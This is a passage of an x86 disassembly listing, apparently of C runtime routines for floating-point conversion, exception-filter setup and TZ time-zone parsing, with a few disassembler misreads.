add eax, 4
cmp esi, 3
jl short loc_424408
loc_424416: ; CODE XREF: sub_4243D6+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42441B: ; CODE XREF: sub_4243D6+27j
; sub_4243D6+35j
xor eax, eax
pop esi
retn
sub_4243D6 endp
; =============== S U B R O U T I N E =======================================
sub_42441F proc near ; CODE XREF: sub_424475+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_4252A0
add esp, 0Ch
dec esi
js short loc_424471
lea edi, [ebx+esi*4]
loc_424458: ; CODE XREF: sub_42441F+50j
test eax, eax
jz short loc_424471
push edi
push 1
push dword ptr [edi]
call sub_4252A0
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424458
loc_424471: ; CODE XREF: sub_42441F+34j
; sub_42441F+3Bj
pop edi
pop esi
pop ebx
retn
sub_42441F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424475 proc near ; CODE XREF: sub_4245D0+81p
; sub_4245D0+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_4244D9
inc ebx
push ebx
push [ebp+arg_0]
call sub_4243D6
pop ecx
test eax, eax
pop ecx
jnz short loc_4244D6
push edi
push [ebp+arg_0]
call sub_42441F
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_4244D6: ; CODE XREF: sub_424475+51j
mov eax, [ebp+arg_4]
loc_4244D9: ; CODE XREF: sub_424475+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4244F9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4244F9: ; CODE XREF: sub_424475+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424475 endp
; =============== S U B R O U T I N E =======================================
sub_424501 proc near ; CODE XREF: sub_4245D0+75p
; sub_4245D0+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_42450F: ; CODE XREF: sub_424501+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_42450F
pop esi
retn
sub_424501 endp
; =============== S U B R O U T I N E =======================================
sub_42451C proc near ; CODE XREF: sub_4245D0+5Fp
; sub_4245D0+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42451C endp
; =============== S U B R O U T I N E =======================================
sub_424528 proc near ; CODE XREF: sub_4245D0+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_42452E: ; CODE XREF: sub_424528+12j
cmp dword ptr [eax], 0
jnz short loc_424540
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_42452E
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424540: ; CODE XREF: sub_424528+9j
xor eax, eax
retn
sub_424528 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424543 proc near ; CODE XREF: sub_4245D0+C0p
; sub_4245D0+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424579: ; CODE XREF: sub_424543+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424579
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_4245AB: ; CODE XREF: sub_424543+86j
cmp ebx, edi
jl short loc_4245BE
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_4245C5
; ---------------------------------------------------------------------------
loc_4245BE: ; CODE XREF: sub_424543+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_4245C5: ; CODE XREF: sub_424543+79j
dec ebx
sub ecx, 4
jns short loc_4245AB
pop edi
pop esi
pop ebx
leave
retn
sub_424543 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245D0 proc near ; CODE XREF: sub_42473C+Dp
; sub_424752+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_42463D
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424528
test eax, eax
pop ecx
jnz loc_4246FC
lea eax, [ebp+var_C]
push eax
call sub_42451C
pop ecx
loc_424635: ; CODE XREF: sub_4245D0+E4j
push 2
loc_424637: ; CODE XREF: sub_4245D0+110j
pop eax
jmp loc_4246FE
; ---------------------------------------------------------------------------
loc_42463D: ; CODE XREF: sub_4245D0+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424501
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424475
add esp, 10h
test eax, eax
jz short loc_42465E
inc ebx
loc_42465E: ; CODE XREF: sub_4245D0+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424676
lea eax, [ebp+var_C]
push eax
call sub_42451C
pop ecx
jmp short loc_4246B2
; ---------------------------------------------------------------------------
loc_424676: ; CODE XREF: sub_4245D0+98j
cmp ebx, eax
jg short loc_4246B9
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424501
lea eax, [ebp+var_C]
push esi
push eax
call sub_424543
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424475
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424543
add esp, 20h
loc_4246B2: ; CODE XREF: sub_4245D0+A4j
xor esi, esi
jmp loc_424635
; ---------------------------------------------------------------------------
loc_4246B9: ; CODE XREF: sub_4245D0+A8j
cmp ebx, [edi]
jl short loc_4246E5
lea eax, [ebp+var_C]
push eax
call sub_42451C
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424543
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424637
; ---------------------------------------------------------------------------
loc_4246E5: ; CODE XREF: sub_4245D0+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424543
pop ecx
pop ecx
loc_4246FC: ; CODE XREF: sub_4245D0+55j
xor eax, eax
loc_4246FE: ; CODE XREF: sub_4245D0+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_42472D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424737
; ---------------------------------------------------------------------------
loc_42472D: ; CODE XREF: sub_4245D0+14Ej
cmp edi, 20h
jnz short loc_424737
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424737: ; CODE XREF: sub_4245D0+15Bj
; sub_4245D0+160j
pop edi
pop esi
pop ebx
leave
retn
sub_4245D0 endp
; =============== S U B R O U T I N E =======================================
sub_42473C proc near ; CODE XREF: sub_424768+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43F908
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4245D0
add esp, 0Ch
retn
sub_42473C endp
; =============== S U B R O U T I N E =======================================
sub_424752 proc near ; CODE XREF: sub_424795+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43F920
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4245D0
add esp, 0Ch
retn
sub_424752 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424768 proc near ; CODE XREF: sub_421BBB+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_425441
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_42473C
add esp, 24h
leave
retn
sub_424768 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424795 proc near ; CODE XREF: sub_421BBB+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_425441
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424752
add esp, 24h
leave
retn
sub_424795 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4247C2 proc near ; CODE XREF: sub_421BF9+65p
; sub_421CFD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4247FF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4247E5: ; CODE XREF: sub_4247C2+38j
mov dl, [ecx]
test dl, dl
jz short loc_4247F1
movsx edx, dl
inc ecx
jmp short loc_4247F4
; ---------------------------------------------------------------------------
loc_4247F1: ; CODE XREF: sub_4247C2+27j
push 30h
pop edx
loc_4247F4: ; CODE XREF: sub_4247C2+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4247E5
mov edx, [ebp+arg_8]
loc_4247FF: ; CODE XREF: sub_4247C2+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424818
cmp byte ptr [ecx], 35h
jl short loc_424818
loc_42480B: ; CODE XREF: sub_4247C2+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424816
mov byte ptr [eax], 30h
jmp short loc_42480B
; ---------------------------------------------------------------------------
loc_424816: ; CODE XREF: sub_4247C2+4Dj
inc byte ptr [eax]
loc_424818: ; CODE XREF: sub_4247C2+42j
; sub_4247C2+47j
cmp byte ptr [esi], 31h
jnz short loc_424822
inc dword ptr [edx+4]
jmp short loc_424834
; ---------------------------------------------------------------------------
loc_424822: ; CODE XREF: sub_4247C2+59j
push edi
call sub_41B1D0
inc eax
push eax
push edi
push esi
call sub_41CE80
add esp, 10h
loc_424834: ; CODE XREF: sub_4247C2+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4247C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424839 proc near ; CODE XREF: sub_421BF9+3Fp
; sub_421CFD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42489D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DE0B0
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425912
mov ds:dword_4DE0D8, eax
add esp, 18h
movsx eax, ds:byte_4DE0B2
mov ds:dword_4DE0D0, eax
pop edi
movsx eax, ds:word_4DE0B0
mov ds:dword_4DE0D4, eax
mov ds:dword_4DE0DC, offset dword_4DE0B4
mov eax, offset dword_4DE0D0
pop esi
leave
retn
sub_424839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42489D proc near ; CODE XREF: sub_424839+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4248EB
cmp ebx, edi
jz short loc_4248E4
lea edi, [ecx+3C00h]
jmp short loc_42490C
; ---------------------------------------------------------------------------
loc_4248E4: ; CODE XREF: sub_42489D+3Dj
mov edi, 7FFFh
jmp short loc_42490C
; ---------------------------------------------------------------------------
loc_4248EB: ; CODE XREF: sub_42489D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424903
cmp edx, ebx
jnz short loc_424903
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_42494E
; ---------------------------------------------------------------------------
loc_424903: ; CODE XREF: sub_42489D+52j
; sub_42489D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_42490C: ; CODE XREF: sub_42489D+45j
; sub_42489D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424924: ; CODE XREF: sub_42489D+A6j
test ecx, esi
jnz short loc_424945
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424924
; ---------------------------------------------------------------------------
loc_424945: ; CODE XREF: sub_42489D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_42494E: ; CODE XREF: sub_42489D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42489D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DC49
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42495C proc near ; DATA XREF: sub_4249A2o
; seg002:0043F548o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42497F
cmp dword ptr [eax+10h], 3
jnz short loc_42497F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42497F
jmp sub_42277C
; ---------------------------------------------------------------------------
loc_42497F: ; CODE XREF: sub_42495C+Dj
; sub_42495C+13j ...
mov eax, ds:dword_4DE0E0
test eax, eax
jz short loc_42499C
push eax
call near ptr loc_4249F3+5
test eax, eax
pop ecx
jz short loc_42499C
push esi
call ds:dword_4DE0E0
jmp short loc_42499E
; ---------------------------------------------------------------------------
loc_42499C: ; CODE XREF: sub_42495C+2Aj
; sub_42495C+35j
xor eax, eax
loc_42499E: ; CODE XREF: sub_42495C+3Ej
pop esi
retn 4
sub_42495C endp
; =============== S U B R O U T I N E =======================================
sub_4249A2 proc near ; DATA XREF: seg002:0042A02Co
push offset sub_42495C
call ds:dword_42801C ; SetUnhandledExceptionFilter
mov ds:dword_4DE0E0, eax
retn
sub_4249A2 endp
; =============== S U B R O U T I N E =======================================
sub_4249B3 proc near ; DATA XREF: seg002:0042A044o
push ds:dword_4DE0E0
call ds:dword_42801C ; SetUnhandledExceptionFilter
retn
sub_4249B3 endp
; =============== S U B R O U T I N E =======================================
sub_4249C0 proc near ; CODE XREF: sub_421FD1+6Bp
; sub_4224E2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0B10000h
mov ch, 85h
sal byte ptr [edx+eax+33h], 0F6h
mov eax, esi
pop esi
retn
sub_4249C0 endp
; =============== S U B R O U T I N E =======================================
sub_4249DC proc near ; CODE XREF: sub_4224E2+73p
; sub_4224E2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0B10000h
test [ebp+330274C0h], al
loc_4249F3: ; CODE XREF: sub_4224E2+15Bp
; sub_42495C+2Dp
test byte ptr [ebx+56C35EC6h], 6Ah
sub_4249DC endp ; sp-analysis failed
add [esi-1], ebx
jz short near ptr loc_424A22+1
or al, ch
sti
mov ch, 6Eh
add [ebx-7Bh], ch
sal byte ptr [edx+eax+33h], 0F6h
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42277C
loc_424A10: ; CODE XREF: sub_42277C:loc_4227CDj
push 0Ah
call sub_4238CD
push 16h
call sub_425BA5
pop ecx
pop ecx
push 3
loc_424A22: ; CODE XREF: seg000:004249FDj
call sub_41B9B2
; END OF FUNCTION CHUNK FOR sub_42277C
; =============== S U B R O U T I N E =======================================
sub_424A27 proc near ; CODE XREF: seg000:loc_4228C8p
cmp ds:dword_4DE1A0, 0
jnz short locret_424A3B
call sub_424A3C
inc ds:dword_4DE1A0
locret_424A3B: ; CODE XREF: sub_424A27+7j
retn
sub_424A27 endp
; =============== S U B R O U T I N E =======================================
sub_424A3C proc near ; CODE XREF: sub_424A27+9p
var_4 = dword ptr -4
arg_C = byte ptr 10h
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov ds:dword_4DE0E8, ebp
mov ds:dword_43F9E0, ebx
mov ds:dword_43F9D0, ebx
call sub_425D17
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424B65
push offset dword_4DE0F0
call near ptr 0B10000h
adc [ebx], edi
retn
; ---------------------------------------------------------------------------
jz loc_424C94
mov eax, ds:dword_4DE0F0
mov ecx, ds:dword_4DE144
imul eax, 3Ch
cmp ds:word_4DE136, bp
push 1
pop edx
mov ds:dword_43F938, eax
mov ds:dword_4DE0E8, edx
jz short loc_424AB3
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov ds:dword_43F938, eax
loc_424AB3: ; CODE XREF: sub_424A3C+69j
cmp ds:word_4DE18A, bp
jz short loc_424AD7
mov eax, ds:dword_4DE198
cmp eax, ebp
jz short loc_424AD7
sub eax, ecx
mov ds:dword_43F93C, edx
imul eax, 3Ch
mov ds:dword_43F940, eax
jmp short loc_424AE3
; ---------------------------------------------------------------------------
loc_424AD7: ; CODE XREF: sub_424A3C+7Ej
; sub_424A3C+87j
mov ds:dword_43F93C, ebp
mov ds:dword_43F940, ebp
loc_424AE3: ; CODE XREF: sub_424A3C+99j
lea eax, [esp+14h+var_4]
mov esi, ds:dword_428180
push eax
push ebp
push 3Fh
mov edi, 220h
push ds:off_43F9C4
push ebx
push offset dword_4DE0F4
push edi
push ds:dword_4DDF84
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_424B20
cmp dword ptr [esp+arg_C], ebp
jnz short loc_424B20
mov eax, ds:off_43F9C4
and byte ptr [eax+3Fh], 0
jmp short loc_424B28
; ---------------------------------------------------------------------------
loc_424B20: ; CODE XREF: sub_424A3C+D1j
; sub_424A3C+D7j
mov eax, ds:off_43F9C4
and byte ptr [eax], 0
loc_424B28: ; CODE XREF: sub_424A3C+E2j
lea eax, [esp+arg_C]
push eax
push ebp
push 3Fh
push ds:off_43F9C8
push ebx
push offset dword_4DE148
push edi
push ds:dword_4DDF84
call esi ; WideCharToMultiByte
test eax, eax
jz loc_424C8C
cmp [esp+14h+var_4], ebp
jnz loc_424C8C
mov eax, ds:off_43F9C8
and byte ptr [eax+3Fh], 0
jmp loc_424C94
; ---------------------------------------------------------------------------
loc_424B65: ; CODE XREF: sub_424A3C+2Dj
cmp byte ptr [esi], 0
jz loc_424C94
mov eax, ds:dword_4DE19C
cmp eax, ebp
jz short loc_424B88
push eax
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_424C94
loc_424B88: ; CODE XREF: sub_424A3C+139j
push ds:dword_4DE19C
call sub_41B2A1
push esi
call sub_41B1D0
inc eax
push eax
call sub_41B6C5
add esp, 0Ch
cmp eax, ebp
mov ds:dword_4DE19C, eax
jz loc_424C94
push esi
push eax
call sub_41C0A0
push 3
push esi
push ds:off_43F9C4
call sub_41B7E0
mov eax, ds:off_43F9C4
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_424BDD
push 1
inc esi
pop edi
loc_424BDD: ; CODE XREF: sub_424A3C+19Bj
push esi
call sub_41B8DE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov ds:dword_43F938, ecx
loc_424BF4: ; CODE XREF: sub_424A3C+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_424C02
cmp al, bl
jl short loc_424C05
cmp al, 39h
jg short loc_424C05
loc_424C02: ; CODE XREF: sub_424A3C+1BCj
inc esi
jmp short loc_424BF4
; ---------------------------------------------------------------------------
loc_424C05: ; CODE XREF: sub_424A3C+1C0j
; sub_424A3C+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424C58
inc esi
push esi
call sub_41B8DE
imul eax, 3Ch
pop ecx
mov ecx, ds:dword_43F938
add ecx, eax
mov ds:dword_43F938, ecx
loc_424C23: ; CODE XREF: sub_424A3C+1F2j
mov al, [esi]
cmp al, bl
jl short loc_424C30
cmp al, 39h
jg short loc_424C30
inc esi
jmp short loc_424C23
; ---------------------------------------------------------------------------
loc_424C30: ; CODE XREF: sub_424A3C+1EBj
; sub_424A3C+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424C58
inc esi
push esi
call sub_41B8DE
pop ecx
mov ecx, ds:dword_43F938
add ecx, eax
mov ds:dword_43F938, ecx
loc_424C4B: ; CODE XREF: sub_424A3C+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424C58
cmp al, 39h
jg short loc_424C58
inc esi
jmp short loc_424C4B
; ---------------------------------------------------------------------------
loc_424C58: ; CODE XREF: sub_424A3C+1CCj
; sub_424A3C+1F7j ...
cmp edi, ebp
jz short loc_424C64
neg ecx
mov ds:dword_43F938, ecx
loc_424C64: ; CODE XREF: sub_424A3C+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov ds:dword_43F93C, eax
jz short loc_424C8C
push 3
push esi
push ds:off_43F9C8
call sub_41B7E0
mov eax, ds:off_43F9C8
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424C94
; ---------------------------------------------------------------------------
loc_424C8C: ; CODE XREF: sub_424A3C+10Bj
; sub_424A3C+115j ...
mov eax, ds:off_43F9C8
and byte ptr [eax], 0
loc_424C94: ; CODE XREF: sub_424A3C+40j
; sub_424A3C+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_424A3C endp
; =============== S U B R O U T I N E =======================================
sub_424C9A proc near ; CODE XREF: seg000:0042292Ep
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp ds:dword_43F93C, edi
jnz short loc_424CAE
loc_424CA7: ; CODE XREF: sub_424C9A+148j
; sub_424C9A+150j ...
xor eax, eax
jmp loc_424DFA
; ---------------------------------------------------------------------------
loc_424CAE: ; CODE XREF: sub_424C9A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, ds:dword_43F9D0
jnz short loc_424CCC
cmp eax, ds:dword_43F9E0
jz loc_424DCE
loc_424CCC: ; CODE XREF: sub_424C9A+24j
cmp ds:dword_4DE0E8, edi
jz loc_424DA4
movzx ecx, ds:word_4DE196
push ecx
cmp ds:word_4DE188, di
movzx ecx, ds:word_4DE194
push ecx
movzx ecx, ds:word_4DE192
push ecx
movzx ecx, ds:word_4DE190
push ecx
jnz short loc_424D1E
movzx ecx, ds:word_4DE18C
push edi
push ecx
movzx ecx, ds:word_4DE18E
push ecx
movzx ecx, ds:word_4DE18A
push ecx
push eax
push ebx
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424D1E: ; CODE XREF: sub_424C9A+65j
movzx ecx, ds:word_4DE18E
push ecx
push edi
movzx ecx, ds:word_4DE18A
push edi
push ecx
push eax
push edi
loc_424D32: ; CODE XREF: sub_424C9A+82j
push ebx
call sub_424E46
movzx eax, ds:word_4DE142
add esp, 2Ch
cmp ds:word_4DE134, di
push eax
movzx eax, ds:word_4DE140
push eax
movzx eax, ds:word_4DE13E
push eax
movzx eax, ds:word_4DE13C
push eax
jnz short loc_424D8C
movzx eax, ds:word_4DE138
push edi
push eax
movzx eax, ds:word_4DE13A
push eax
movzx eax, ds:word_4DE136
push eax
push dword ptr [esi+14h]
push ebx
loc_424D81: ; CODE XREF: sub_424C9A+108j
push edi
call sub_424E46
add esp, 2Ch
jmp short loc_424DCE
; ---------------------------------------------------------------------------
loc_424D8C: ; CODE XREF: sub_424C9A+C8j
movzx eax, ds:word_4DE13A
push eax
push edi
movzx eax, ds:word_4DE136
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424D81
; ---------------------------------------------------------------------------
loc_424DA4: ; CODE XREF: sub_424C9A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424E46
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424E46
add esp, 58h
loc_424DCE: ; CODE XREF: sub_424C9A+2Cj
; sub_424C9A+F0j
mov edx, ds:dword_43F9D4
mov eax, ds:dword_43F9E4
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424DFE
cmp ecx, edx
jl loc_424CA7
cmp ecx, eax
jg loc_424CA7
cmp ecx, edx
jle short loc_424E12
cmp ecx, eax
jge short loc_424E12
loc_424DF8: ; CODE XREF: sub_424C9A+166j
; sub_424C9A+16Aj
mov eax, ebx
loc_424DFA: ; CODE XREF: sub_424C9A+Fj
; sub_424C9A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFE: ; CODE XREF: sub_424C9A+144j
cmp ecx, eax
jl short loc_424DF8
cmp ecx, edx
jg short loc_424DF8
cmp ecx, eax
jle short loc_424E12
cmp ecx, edx
jl loc_424CA7
loc_424E12: ; CODE XREF: sub_424C9A+158j
; sub_424C9A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424E39
xor ecx, ecx
cmp eax, ds:dword_43F9D8
setnl cl
loc_424E35: ; CODE XREF: sub_424C9A+1AAj
mov eax, ecx
jmp short loc_424DFA
; ---------------------------------------------------------------------------
loc_424E39: ; CODE XREF: sub_424C9A+18Ej
xor ecx, ecx
cmp eax, ds:dword_43F9E8
setl cl
jmp short loc_424E35
sub_424C9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E46 proc near ; CODE XREF: sub_424C9A+99p
; sub_424C9A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
